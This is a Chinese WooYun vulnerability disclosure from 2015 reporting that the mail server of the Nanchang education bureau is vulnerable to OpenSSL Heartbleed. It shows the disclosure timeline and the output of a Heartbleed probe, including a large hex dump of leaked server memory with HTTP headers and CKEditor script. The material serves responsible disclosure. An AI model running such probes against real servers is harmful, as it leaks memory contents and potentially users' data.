当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161324

漏洞标题:南昌市教育局邮件系统OpenSSL心脏出血漏洞

相关厂商:南昌市教育局

漏洞作者: 404notfound

提交时间:2015-12-15 14:06

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:系统/服务运维配置不当

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-15: 细节已通知厂商并且等待厂商处理中
2015-12-18: 厂商已经确认,细节仅向厂商公开
2015-12-28: 细节向核心白帽子及相关领域专家公开
2016-01-07: 细节向普通白帽子公开
2016-01-17: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

详细说明:

南昌市教育局邮件系统OpenSSL漏洞
**.**.**.**
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 770
... received message: type = 22, ver = 0302, length = 203
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 07 07 07 07 ....#...........
00e0: 71 3D 30 2E 38 0D 0A 41 63 63 65 70 74 2D 45 6E q=0.8..Accept-En
00f0: 63 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 64 65 66 coding: gzip,def
0100: 6C 61 74 65 2C 73 64 63 68 0D 0A 41 63 63 65 70 late,sdch..Accep
0110: 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 t-Language: en-U
0120: 53 2C 65 6E 3B 71 3D 30 2E 38 0D 0A 41 63 63 65 S,en;q=0.8..Acce
0130: 70 74 2D 43 68 61 72 73 65 74 3A 20 49 53 4F 2D pt-Charset: ISO-
0140: 38 38 35 39 2D 31 2C 75 74 66 2D 38 3B 71 3D 30 8859-1,utf-8;q=0
0150: 2E 37 2C 2A 3B 71 3D 30 2E 33 0D 0A 0D 0A 6D 2B .7,*;q=0.3....m+
0160: 1B 1C 0D B0 F3 B6 1A 66 0B BC 2D DC 14 92 E0 65 .......f..-....e
0170: 4A F9 05 05 05 05 05 05 74 69 6F 6E 2F 78 2D 6D J.......tion/x-m
0180: 73 2D 78 62 61 70 2C 20 61 70 70 6C 69 63 61 74 s-xbap, applicat
0190: 69 6F 6E 2F 76 6E 64 2E 6D 73 2D 65 78 63 65 6C ion/vnd.ms-excel
01a0: 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76 6E , application/vn
01b0: 64 2E 6D 73 2D 70 6F 77 65 72 70 6F 69 6E 74 2C d.ms-powerpoint,
01c0: 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6D 73 77 application/msw
01d0: 6F 72 64 2C 20 2A 2F 2A 0D 0A 0D 0A 26 79 B5 06 ord, */*....&y..
01e0: 64 5D 65 4B 94 C4 BF C8 25 E4 A0 48 00 00 00 00 d]eK....%..H....
01f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0200: FF FF FF FF 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D ................
0210: F5 24 40 B4 B4 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A .$@.............
0220: 8D 12 A1 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0230: 2E 69 73 28 22 74 61 62 6C 65 22 29 29 72 65 74 .is("table"))ret
0240: 75 72 6E 20 66 61 6C 73 65 3B 76 61 72 20 68 2C urn false;var h,
0250: 61 3D 65 5B 30 5D 3B 67 3D 61 2E 67 65 74 41 73 a=e[0];g=a.getAs
0260: 63 65 6E 64 61 6E 74 28 22 74 61 62 6C 65 22 29 cendant("table")
0270: 3B 76 61 72 20 69 3D 43 4B 45 44 49 54 4F 52 2E ;var i=CKEDITOR.
0280: 74 6F 6F 6C 73 2E 62 75 69 6C 64 54 61 62 6C 65 tools.buildTable
0290: 4D 61 70 28 67 29 2C 0A 6A 3D 69 2E 6C 65 6E 67 Map(g),.j=i.leng
02a0: 74 68 2C 6B 3D 69 5B 30 5D 2E 6C 65 6E 67 74 68 th,k=i[0].length
02b0: 2C 6C 3D 61 2E 67 65 74 50 61 72 65 6E 74 28 29 ,l=a.getParent()
02c0: 2E 24 2E 72 6F 77 49 6E 64 65 78 2C 6E 3D 64 28 .$.rowIndex,n=d(
02d0: 69 2C 6C 2C 61 29 3B 69 66 28 66 29 7B 76 61 72 i,l,a);if(f){var
02e0: 20 76 3B 74 72 79 7B 76 61 72 20 41 3D 70 61 72 v;try{var A=par
02f0: 73 65 49 6E 74 28 61 2E 67 65 74 41 74 74 72 69 seInt(a.getAttri
0300: 62 75 74 65 28 22 72 6F 77 73 70 61 6E 22 29 2C bute("rowspan"),
0310: 31 30 29 7C 7C 31 3B 68 3D 70 61 72 73 65 49 6E 10)||1;h=parseIn
0320: 74 28 61 2E 67 65 74 41 74 74 72 69 62 75 74 65 t(a.getAttribute
0330: 28 22 63 6F 6C 73 70 61 6E 22 29 2C 31 30 29 7C ("colspan"),10)|
0340: 7C 31 3B 76 3D 69 5B 66 3D 3D 22 75 70 22 3F 6C |1;v=i[f=="up"?l
0350: 2D 41 3A 66 3D 3D 22 64 6F 77 6E 22 3F 6C 2B 41 -A:f=="down"?l+A
0360: 3A 6C 5D 5B 66 3D 3D 22 6C 65 66 74 22 3F 6E 2D :l][f=="left"?n-
0370: 68 3A 66 3D 3D 22 72 69 67 68 74 22 3F 6E 2B 68 h:f=="right"?n+h
0380: 3A 6E 5D 7D 63 61 74 63 68 28 79 29 7B 72 65 74 :n]}catch(y){ret
0390: 75 72 6E 20 66 61 6C 73 65 7D 69 66 28 21 76 7C urn false}if(!v|
03a0: 7C 61 2E 24 3D 3D 76 29 72 65 74 75 72 6E 20 66 |a.$==v)return f
03b0: 61 6C 73 65 3B 65 5B 66 3D 3D 22 75 70 22 7C 7C alse;e[f=="up"||
03c0: 66 3D 3D 22 6C 65 66 74 22 3F 22 75 6E 73 68 69 f=="left"?"unshi
03d0: 66 74 22 3A 22 70 75 73 68 22 5D 28 6E 65 77 20 ft":"push"](new
03e0: 43 4B 45 44 49 54 4F 52 2E 64 6F 6D 2E 65 6C 65 CKEDITOR.dom.ele
03f0: 6D 65 6E 74 28 76 29 29 7D 66 6F 72 28 76 61 72 ment(v))}for(var
0400: 20 66 3D 61 2E 67 65 74 44 6F 63 75 6D 65 6E 74 f=a.getDocument
0410: 28 29 2C 78 3D 6C 2C 41 3D 76 3D 30 2C 43 3D 21 (),x=l,A=v=0,C=!
0420: 63 26 26 6E 65 77 20 43 4B 45 44 49 54 4F 52 2E c&&new CKEDITOR.
0430: 64 6F 6D 2E 64 6F 63 75 6D 65 6E 74 46 72 61 67 dom.documentFrag
0440: 6D 65 6E 74 28 66 29 2C 44 3D 30 2C 66 3D 30 3B ment(f),D=0,f=0;
0450: 66 3C 65 2E 6C 65 6E 67 74 68 3B 66 2B 2B 29 7B f<e.length;f++){
0460: 68 3D 65 5B 66 5D 3B 76 61 72 20 46 3D 68 2E 67 h=e[f];var F=h.g
0470: 65 74 50 61 72 65 6E 74 28 29 2C 45 3D 68 2E 67 etParent(),E=h.g
0480: 65 74 46 69 72 73 74 28 29 2C 4B 3D 68 2E 24 2E etFirst(),K=h.$.
0490: 63 6F 6C 53 70 61 6E 2C 0A 49 3D 68 2E 24 2E 72 colSpan,.I=h.$.r
04a0: 6F 77 53 70 61 6E 2C 46 3D 46 2E 24 2E 72 6F 77 owSpan,F=F.$.row
04b0: 49 6E 64 65 78 2C 47 3D 64 28 69 2C 46 2C 68 29 Index,G=d(i,F,h)
04c0: 2C 44 3D 44 2B 4B 2A 49 2C 41 3D 4D 61 74 68 2E ,D=D+K*I,A=Math.
04d0: 6D 61 78 28 41 2C 47 2D 6E 2B 4B 29 3B 76 3D 4D max(A,G-n+K);v=M
04e0: 61 74 68 2E 6D 61 78 28 76 2C 46 2D 6C 2B 49 29 ath.max(v,F-l+I)
04f0: 3B 69 66 28 21 63 29 7B 4B 3D 68 3B 28 49 3D 4B ;if(!c){K=h;(I=K
0500: 2E 67 65 74 42 6F 67 75 73 28 29 29 26 26 49 2E .getBogus())&&I.
0510: 72 65 6D 6F 76 65 28 29 3B 4B 2E 74 72 69 6D 28 remove();K.trim(
0520: 29 3B 69 66 28 68 2E 67 65 74 43 68 69 6C 64 72 );if(h.getChildr
0530: 65 6E 28 29 2E 63 6F 75 6E 74 28 29 29 7B 69 66 en().count()){if
0540: 28 46 21 3D 78 26 26 45 26 26 28 21 45 2E 69 73 (F!=x&&E&&(!E.is
0550: 42 6C 6F 63 6B 42 6F 75 6E 64 61 72 79 7C 7C 21 BlockBoundary||!
0560: 45 2E 69 73 42 6C 6F 63 6B 42 6F 75 6E 64 61 72 E.isBlockBoundar
0570: 79 28 7B 62 72 3A 31 7D 29 29 29 28 78 3D 43 2E y({br:1})))(x=C.
0580: 67 65 74 4C 61 73 74 28 43 4B 45 44 49 54 4F 52 getLast(CKEDITOR
0590: 2E 64 6F 6D 2E 77 61 6C 6B 65 72 2E 77 68 69 74 .dom.walker.whit
05a0: 65 73 70 61 63 65 73 28 74 72 75 65 29 29 29 26 espaces(true)))&
05b0: 26 28 21 78 2E 69 73 7C 7C 21 78 2E 69 73 28 22 &(!x.is||!x.is("
05c0: 62 72 22 29 29 26 26 43 2E 61 70 70 65 6E 64 28 br"))&&C.append(
05d0: 22 62 72 22 29 3B 68 2E 6D 6F 76 65 43 68 69 6C "br");h.moveChil
05e0: 64 72 65 6E 28 43 29 7D 66 3F 68 2E 72 65 6D 6F dren(C)}f?h.remo
05f0: 76 65 28 29 3A 68 2E 73 65 74 48 74 6D 6C 28 22 ve():h.setHtml("
0600: 22 29 7D 78 3D 46 7D 69 66 28 63 29 72 65 74 75 ")}x=F}if(c)retu
0610: 72 6E 20 76 2A 41 3D 3D 44 3B 43 2E 6D 6F 76 65 rn v*A==D;C.move
0620: 43 68 69 6C 64 72 65 6E 28 61 29 3B 43 4B 45 44 Children(a);CKED
0630: 49 54 4F 52 2E 65 6E 76 2E 69 65 7C 7C 61 2E 61 ITOR.env.ie||a.a
0640: 70 70 65 6E 64 42 6F 67 75 73 28 29 3B 41 3E 3D ppendBogus();A>=
0650: 6B 3F 61 2E 72 65 6D 6F 76 65 41 74 74 72 69 62 k?a.removeAttrib
0660: 75 74 65 28 22 72 6F 77 53 70 61 6E 22 29 3A 61 ute("rowSpan"):a
0670: 2E 24 2E 72 6F 77 53 70 61 6E 3D 76 3B 76 3E 3D .$.rowSpan=v;v>=
0680: 6A 3F 61 2E 72 65 6D 6F 76 65 41 74 74 72 69 62 j?a.removeAttrib
0690: 75 74 65 28 22 63 6F 6C 53 70 61 6E 22 29 3A 0A ute("colSpan"):.
06a0: 61 2E 24 2E 63 6F 6C 53 70 61 6E 3D 41 3B 63 3D a.$.colSpan=A;c=
06b0: 6E 65 77 20 43 4B 45 44 49 54 4F 52 2E 64 6F 6D new CKEDITOR.dom
06c0: 2E 6E 6F 64 65 4C 69 73 74 28 67 2E 24 2E 72 6F .nodeList(g.$.ro
06d0: 77 73 29 3B 65 3D 63 2E 63 6F 75 6E 74 28 29 3B ws);e=c.count();
06e0: 66 6F 72 28 66 3D 65 2D 31 3B 66 3E 3D 30 3B 66 for(f=e-1;f>=0;f
06f0: 2D 2D 29 7B 67 3D 63 2E 67 65 74 49 74 65 6D 28 --){g=c.getItem(
0700: 66 29 3B 69 66 28 21 67 2E 24 2E 63 65 6C 6C 73 f);if(!g.$.cells
0710: 2E 6C 65 6E 67 74 68 29 7B 67 2E 72 65 6D 6F 76 .length){g.remov
0720: 65 28 29 3B 65 2B 2B 7D 7D 72 65 74 75 72 6E 20 e();e++}}return
0730: 61 7D 66 75 6E 63 74 69 6F 6E 20 6B 28 61 2C 66 a}function k(a,f
0740: 29 7B 76 61 72 20 63 3D 62 28 61 29 3B 69 66 28 ){var c=b(a);if(
0750: 63 2E 6C 65 6E 67 74 68 3E 31 29 72 65 74 75 72 c.length>1)retur
0760: 6E 20 66 61 6C 73 65 3B 69 66 28 66 29 72 65 74 n false;if(f)ret
0770: 75 72 6E 20 74 72 75 65 3B 76 61 72 20 63 3D 63 urn true;var c=c
0780: 5B 30 5D 2C 65 3D 63 2E 67 65 74 50 61 72 65 6E [0],e=c.getParen
0790: 74 28 29 2C 67 3D 65 2E 67 65 74 41 73 63 65 6E t(),g=e.getAscen
07a0: 64 61 6E 74 28 22 74 61 62 6C 65 22 29 2C 68 3D dant("table"),h=
07b0: 43 4B 45 44 49 54 4F 52 2E 74 6F 6F 6C 73 2E 62 CKEDITOR.tools.b
07c0: 75 69 6C 64 54 61 62 6C 65 4D 61 70 28 67 29 2C uildTableMap(g),
07d0: 69 3D 65 2E 24 2E 72 6F 77 49 6E 64 65 78 2C 6A i=e.$.rowIndex,j
07e0: 3D 64 28 68 2C 69 2C 63 29 2C 6B 3D 63 2E 24 2E =d(h,i,c),k=c.$.
07f0: 72 6F 77 53 70 61 6E 2C 6C 3B 69 66 28 6B 3E 31 rowSpan,l;if(k>1
0800: 29 7B 6C 3D 4D 61 74 68 2E 63 65 69 6C 28 6B 2F ){l=Math.ceil(k/
0810: 32 29 3B 66 6F 72 28 76 61 72 20 6B 3D 4D 61 74 2);for(var k=Mat
0820: 68 2E 66 6C 6F 6F 72 28 6B 2F 32 29 2C 65 3D 69 h.floor(k/2),e=i
0830: 2B 6C 2C 67 3D 6E 65 77 20 43 4B 45 44 49 54 4F +l,g=new CKEDITO
0840: 52 2E 64 6F 6D 2E 65 6C 65 6D 65 6E 74 28 67 2E R.dom.element(g.
0850: 24 2E 72 6F 77 73 5B 65 5D 29 2C 68 3D 64 28 68 $.rows[e]),h=d(h
0860: 2C 65 29 2C 6E 2C 65 3D 63 2E 63 6C 6F 6E 65 28 ,e),n,e=c.clone(
0870: 29 2C 69 3D 30 3B 69 3C 68 2E 6C 65 6E 67 74 68 ),i=0;i<h.length
0880: 3B 69 2B 2B 29 7B 6E 3D 68 5B 69 5D 3B 69 66 28 ;i++){n=h[i];if(
0890: 6E 2E 70 61 72 65 6E 74 4E 6F 64 65 3D 3D 0A 67 n.parentNode==.g
08a0: 2E 24 26 26 69 3E 6A 29 7B 65 2E 69 6E 73 65 72 .$&&i>j){e.inser
08b0: 74 42 65 66 6F 72 65 28 6E 65 77 20 43 4B 45 44 tBefore(new CKED
08c0: 49 54 4F 52 2E 64 6F 6D 2E 65 6C 65 6D 65 6E 74 ITOR.dom.element
08d0: 28 6E 29 29 3B 62 72 65 61 6B 7D 65 6C 73 65 20 (n));break}else
08e0: 6E 3D 6E 75 6C 6C 7D 6E 7C 7C 67 2E 61 70 70 65 n=null}n||g.appe
08f0: 6E 64 28 65 2C 74 72 75 65 29 7D 65 6C 73 65 7B nd(e,true)}else{
0900: 6B 3D 6C 3D 31 3B 67 3D 65 2E 63 6C 6F 6E 65 28 k=l=1;g=e.clone(
0910: 29 3B 67 2E 69 6E 73 65 72 74 41 66 74 65 72 28 );g.insertAfter(
0920: 65 29 3B 67 2E 61 70 70 65 6E 64 28 65 3D 63 2E e);g.append(e=c.
0930: 63 6C 6F 6E 65 28 29 29 3B 6E 3D 64 28 68 2C 69 clone());n=d(h,i
0940: 29 3B 66 6F 72 28 6A 3D 30 3B 6A 3C 6E 2E 6C 65 );for(j=0;j<n.le
0950: 6E 67 74 68 3B 6A 2B 2B 29 6E 5B 6A 5D 2E 72 6F ngth;j++)n[j].ro
0960: 77 53 70 61 6E 2B 2B 7D 43 4B 45 44 49 54 4F 52 wSpan++}CKEDITOR
0970: 2E 65 6E 76 2E 69 65 7C 7C 65 2E 61 70 70 65 6E .env.ie||e.appen
0980: 64 42 6F 67 75 73 28 29 3B 63 2E 24 2E 72 6F 77 dBogus();c.$.row
0990: 53 70 61 6E 3D 6C 3B 65 2E 24 2E 72 6F 77 53 70 Span=l;e.$.rowSp
09a0: 61 6E 3D 6B 3B 6C 3D 3D 31 26 26 63 2E 72 65 6D an=k;l==1&&c.rem
09b0: 6F 76 65 41 74 74 72 69 62 75 74 65 28 22 72 6F oveAttribute("ro
09c0: 77 53 70 61 6E 22 29 3B 6B 3D 3D 31 26 26 65 2E wSpan");k==1&&e.
09d0: 72 65 6D 6F 76 65 41 74 74 72 69 62 75 74 65 28 removeAttribute(
09e0: 22 72 6F 77 53 70 61 6E 22 29 3B 72 65 74 75 72 "rowSpan");retur
09f0: 6E 20 65 7D 66 75 6E 63 74 69 6F 6E 20 6C 28 61 n e}function l(a
0a00: 2C 66 29 7B 76 61 72 20 63 3D 62 28 61 29 3B 69 ,f){var c=b(a);i
0a10: 66 28 63 2E 6C 65 6E 67 74 68 3E 31 29 72 65 74 f(c.length>1)ret
0a20: 75 72 6E 20 66 61 6C 73 65 3B 69 66 28 66 29 72 urn false;if(f)r
0a30: 65 74 75 72 6E 20 74 72 75 65 3B 76 61 72 20 63 eturn true;var c
0a40: 3D 63 5B 30 5D 2C 65 3D 63 2E 67 65 74 50 61 72 =c[0],e=c.getPar
0a50: 65 6E 74 28 29 2C 67 3D 65 2E 67 65 74 41 73 63 ent(),g=e.getAsc
0a60: 65 6E 64 61 6E 74 28 22 74 61 62 6C 65 22 29 2C endant("table"),
0a70: 67 3D 43 4B 45 44 49 54 4F 52 2E 74 6F 6F 6C 73 g=CKEDITOR.tools
0a80: 2E 62 75 69 6C 64 54 61 62 6C 65 4D 61 70 28 67 .buildTableMap(g
0a90: 29 2C 68 3D 0A 64 28 67 2C 65 2E 24 2E 72 6F 77 ),h=.d(g,e.$.row
0aa0: 01 20 00 00 00 00 00 00 38 4A D5 4E 37 00 00 00 . ......8J.N7...
0ab0: A0 B5 D3 15 00 00 00 00 00 00 00 00 00 00 00 00 ................
0ac0: 00 00 00 00 00 00 00 00 69 6C 28 69 2F 32 29 3B ........il(i/2);
0ad0: 69 3D 4D 61 74 68 2E 66 6C 6F 6F 72 28 69 2F 32 i=Math.floor(i/2
0ae0: 29 7D 65 6C 73 65 7B 66 6F 72 28 76 61 72 20 69 )}else{for(var i
0af0: 3D 65 3D 31 2C 6A 3D 5B 5D 2C 6B 3D 30 3B 6B 3C =e=1,j=[],k=0;k<
0b00: 67 2E 6C 65 6E 67 74 68 3B 6B 2B 2B 29 7B 76 61 g.length;k++){va
0b10: 72 20 6C 3D 67 5B 6B 5D 3B 6A 2E 70 75 73 68 28 r l=g[k];j.push(
0b20: 6C 5B 68 5D 29 3B 6C 5B 68 5D 2E 72 6F 77 53 70 l[h]);l[h].rowSp
0b30: 61 6E 3E 31 26 26 28 6B 3D 6B 2B 28 6C 5B 68 5D an>1&&(k=k+(l[h]
0b40: 2E 72 6F 77 53 70 61 6E 2D 31 29 29 7D 66 6F 72 .rowSpan-1))}for
0b50: 28 67 3D 30 3B 67 3C 6A 2E 6C 65 6E 67 74 68 3B (g=0;g<j.length;
0b60: 67 2B 2B 29 6A 5B 67 5D 2E 63 6F 6C 53 70 61 6E g++)j[g].colSpan
0b70: 2B 2B 7D 67 3D 63 2E 63 6C 6F 6E 65 28 29 3B 67 ++}g=c.clone();g
0b80: 2E 69 6E 73 65 72 74 41 66 74 65 72 28 63 29 3B .insertAfter(c);
0b90: 43 4B 45 44 49 54 4F 52 2E 65 6E 76 2E 69 65 7C CKEDITOR.env.ie|
0ba0: 7C 67 2E 61 70 70 65 6E 64 42 6F 67 75 73 28 29 |g.appendBogus()
0bb0: 3B 63 2E 24 2E 63 6F 6C 53 70 61 6E 3D 65 3B 67 ;c.$.colSpan=e;g
0bc0: 2E 24 2E 63 6F 6C 53 70 61 6E 3D 69 3B 65 3D 3D .$.colSpan=i;e==
0bd0: 31 26 26 63 2E 72 65 6D 6F 76 65 41 74 74 72 69 1&&c.removeAttri
0be0: 62 75 74 65 28 22 63 6F 6C 53 70 61 6E 22 29 3B bute("colSpan");
0bf0: 69 3D 3D 31 26 26 67 2E 72 65 6D 6F 76 65 41 74 i==1&&g.removeAt
0c00: 74 72 69 62 75 74 65 28 22 63 6F 6C 53 70 61 6E tribute("colSpan
0c10: 22 29 3B 72 65 74 75 72 6E 20 67 7D 76 61 72 20 ");return g}var
0c20: 6E 3D 2F 5E 28 3F 3A 74 64 7C 74 68 29 24 2F 3B n=/^(?:td|th)$/;
0c30: 43 4B 45 44 49 54 4F 52 2E 70 6C 75 67 69 6E 73 CKEDITOR.plugins
0c40: 2E 74 61 62 6C 65 74 6F 6F 6C 73 3D 7B 72 65 71 .tabletools={req
0c50: 75 69 72 65 73 3A 22 74 61 62 6C 65 2C 64 69 61 uires:"table,dia
0c60: 6C 6F 67 2C 63 6F 6E 74 65 78 74 6D 65 6E 75 22 log,contextmenu"
0c70: 2C 69 6E 69 74 3A 66 75 6E 63 74 69 6F 6E 28 64 ,init:function(d
0c80: 29 7B 66 75 6E 63 74 69 6F 6E 20 65 28 61 29 7B ){function e(a){
0c90: 72 65 74 75 72 6E 20 43 4B 45 44 49 54 4F 52 2E return CKEDITOR.
0ca0: 74 6F 6F 6C 73 2E 65 78 74 65 6E 64 28 61 7C 7C tools.extend(a||
0cb0: 0A 7B 7D 2C 7B 63 6F 6E 74 65 78 74 53 65 6E 73 .{},{contextSens
0cc0: 69 74 69 76 65 3A 31 2C 72 65 66 72 65 73 68 3A itive:1,refresh:
0cd0: 66 75 6E 63 74 69 6F 6E 28 61 2C 62 29 7B 74 68 function(a,b){th
0ce0: 69 73 2E 73 65 74 53 74 61 74 65 28 62 2E 63 6F is.setState(b.co
0cf0: 6E 74 61 69 6E 73 28 7B 74 64 3A 31 2C 74 68 3A ntains({td:1,th:
0d00: 31 7D 2C 31 29 3F 43 4B 45 44 49 54 4F 52 2E 54 1},1)?CKEDITOR.T
0d10: 52 49 53 54 41 54 45 5F 4F 46 46 3A 43 4B 45 44 RISTATE_OFF:CKED
0d20: 49 54 4F 52 2E 54 52 49 53 54 41 54 45 5F 44 49 ITOR.TRISTATE_DI
0d30: 53 41 42 4C 45 44 29 7D 7D 29 7D 76 61 72 20 6E SABLED)}})}var n
0d40: 3D 64 2E 6C 61 6E 67 2E 74 61 62 6C 65 3B 64 2E =d.lang.table;d.
0d50: 61 64 64 43 6F 6D 6D 61 6E 64 28 22 63 65 6C 6C addCommand("cell
0d60: 50 72 6F 70 65 72 74 69 65 73 22 2C 6E 65 77 20 Properties",new
0d70: 43 4B 45 44 49 54 4F 52 2E 64 69 61 6C 6F 67 43 CKEDITOR.dialogC
0d80: 6F 6D 6D 61 6E 64 28 22 63 65 6C 6C 50 72 6F 70 ommand("cellProp
0d90: 65 72 74 69 65 73 22 2C 65 28 29 29 29 3B 43 4B erties",e()));CK
0da0: 45 44 49 54 4F 52 2E 64 69 61 6C 6F 67 2E 61 64 EDITOR.dialog.ad
0db0: 64 28 22 63 65 6C 6C 50 72 6F 70 65 72 74 69 65 d("cellPropertie
0dc0: 73 22 2C 74 68 69 73 2E 70 61 74 68 2B 22 64 69 s",this.path+"di
0dd0: 61 6C 6F 67 73 2F 74 61 62 6C 65 43 65 6C 6C 2E alogs/tableCell.
0de0: 6A 73 22 29 3B 64 2E 61 64 64 43 6F 6D 6D 61 6E js");d.addComman
0df0: 64 28 22 72 6F 77 44 65 6C 65 74 65 22 2C 65 28 d("rowDelete",e(
0e00: 7B 65 78 65 63 3A 66 75 6E 63 74 69 6F 6E 28 62 {exec:function(b
0e10: 29 7B 62 3D 62 2E 67 65 74 53 65 6C 65 63 74 69 ){b=b.getSelecti
0e20: 6F 6E 28 29 3B 67 28 61 28 62 29 29 7D 7D 29 29 on();g(a(b))}}))
0e30: 3B 64 2E 61 64 64 43 6F 6D 6D 61 6E 64 28 22 72 ;d.addCommand("r
0e40: 6F 77 49 6E 73 65 72 74 42 65 66 6F 72 65 22 2C owInsertBefore",
0e50: 65 28 7B 65 78 65 63 3A 66 75 6E 63 74 69 6F 6E e({exec:function
0e60: 28 61 29 7B 61 3D 61 2E 67 65 74 53 65 6C 65 63 (a){a=a.getSelec
0e70: 74 69 6F 6E 28 29 3B 63 28 61 2C 74 72 75 65 29 tion();c(a,true)
0e80: 7D 7D 29 29 3B 64 2E 61 64 64 43 6F 6D 6D 61 6E }}));d.addComman
0e90: 64 28 22 72 6F 77 49 6E 73 65 72 74 41 66 74 65 d("rowInsertAfte
0ea0: 72 22 2C 65 28 7B 65 78 65 63 3A 66 75 6E 63 74 r",e({exec:funct
0eb0: 69 6F 6E 28 61 29 7B 61 3D 0A 61 2E 67 65 74 53 ion(a){a=.a.getS
0ec0: 65 6C 65 63 74 69 6F 6E 28 29 3B 63 28 61 29 7D election();c(a)}
0ed0: 7D 29 29 3B 64 2E 61 64 64 43 6F 6D 6D 61 6E 64 }));d.addCommand
0ee0: 28 22 63 6F 6C 75 6D 6E 44 65 6C 65 74 65 22 2C ("columnDelete",
0ef0: 65 28 7B 65 78 65 63 3A 66 75 6E 63 74 69 6F 6E e({exec:function
0f00: 28 61 29 7B 66 6F 72 28 76 61 72 20 61 3D 61 2E (a){for(var a=a.
0f10: 67 65 74 53 65 6C 65 63 74 69 6F 6E 28 29 2C 61 getSelection(),a
0f20: 3D 62 28 61 29 2C 66 3D 61 5B 30 5D 2C 64 3D 61 =b(a),f=a[0],d=a
0f30: 5B 61 2E 6C 65 6E 67 74 68 2D 31 5D 2C 61 3D 66 [a.length-1],a=f
0f40: 2E 67 65 74 41 73 63 65 6E 64 61 6E 74 28 22 74 .getAscendant("t
0f50: 61 62 6C 65 22 29 2C 63 3D 43 4B 45 44 49 54 4F able"),c=CKEDITO
0f60: 52 2E 74 6F 6F 6C 73 2E 62 75 69 6C 64 54 61 62 R.tools.buildTab
0f70: 6C 65 4D 61 70 28 61 29 2C 65 2C 68 2C 69 3D 5B leMap(a),e,h,i=[
0f80: 5D 2C 6A 3D 30 2C 6B 3D 63 2E 6C 65 6E 67 74 68 ],j=0,k=c.length
0f90: 3B 6A 3C 6B 3B 6A 2B 2B 29 66 6F 72 28 76 61 72 ;j<k;j++)for(var
0fa0: 20 6C 3D 30 2C 6D 3D 63 5B 6A 5D 2E 6C 65 6E 67 l=0,m=c[j].leng
0fb0: 74 68 3B 6C 3C 6D 3B 6C 2B 2B 29 7B 63 5B 6A 5D th;l<m;l++){c[j]
0fc0: 5B 6C 5D 3D 3D 66 2E 24 26 26 28 65 3D 6C 29 3B [l]==f.$&&(e=l);
0fd0: 63 5B 6A 5D 5B 6C 5D 3D 3D 64 2E 24 26 26 28 68 c[j][l]==d.$&&(h
0fe0: 3D 6C 29 7D 66 6F 72 28 6A 3D 65 3B 6A 3C 3D 68 =l)}for(j=e;j<=h
0ff0: 3B 6A 2B 2B 29 66 6F 72 28 6C 3D 30 3B 6C 3C 63 ;j++)for(l=0;l<c
1000: 2E 6C 65 6E 67 74 68 3B 6C 2B 2B 29 7B 64 3D 63 .length;l++){d=c
1010: 5B 6C 5D 3B 66 3D 6E 65 77 20 43 4B 45 44 49 54 [l];f=new CKEDIT
1020: 4F 52 2E 64 6F 6D 2E 65 6C 65 6D 65 6E 74 28 61 OR.dom.element(a
1030: 2E 24 2E 72 6F 77 73 5B 6C 5D 29 3B 64 3D 6E 65 .$.rows[l]);d=ne
1040: 77 20 43 4B 45 44 49 54 4F 52 2E 64 6F 6D 2E 65 w CKEDITOR.dom.e
1050: 6C 65 6D 65 6E 74 28 64 5B 6A 5D 29 3B 69 66 28 lement(d[j]);if(
1060: 64 2E 24 29 7B 64 2E 24 2E 63 6F 6C 53 70 61 6E d.$){d.$.colSpan
1070: 3D 3D 31 3F 64 2E 72 65 6D 6F 76 65 28 29 3A 64 ==1?d.remove():d
1080: 2E 24 2E 63 6F 6C 53 70 61 6E 3D 64 2E 24 2E 63 .$.colSpan=d.$.c
1090: 6F 6C 53 70 61 6E 2D 31 3B 6C 3D 6C 2B 28 64 2E olSpan-1;l=l+(d.
10a0: 24 2E 72 6F 77 53 70 61 6E 2D 31 29 3B 66 2E 24 $.rowSpan-1);f.$
10b0: 2E 63 65 6C 6C 73 2E 6C 65 6E 67 74 68 7C 7C 0A .cells.length||.
10c0: 69 2E 70 75 73 68 28 66 29 7D 7D 68 3D 61 2E 24 i.push(f)}}h=a.$
10d0: 2E 72 6F 77 73 5B 30 5D 26 26 61 2E 24 2E 72 6F .rows[0]&&a.$.ro
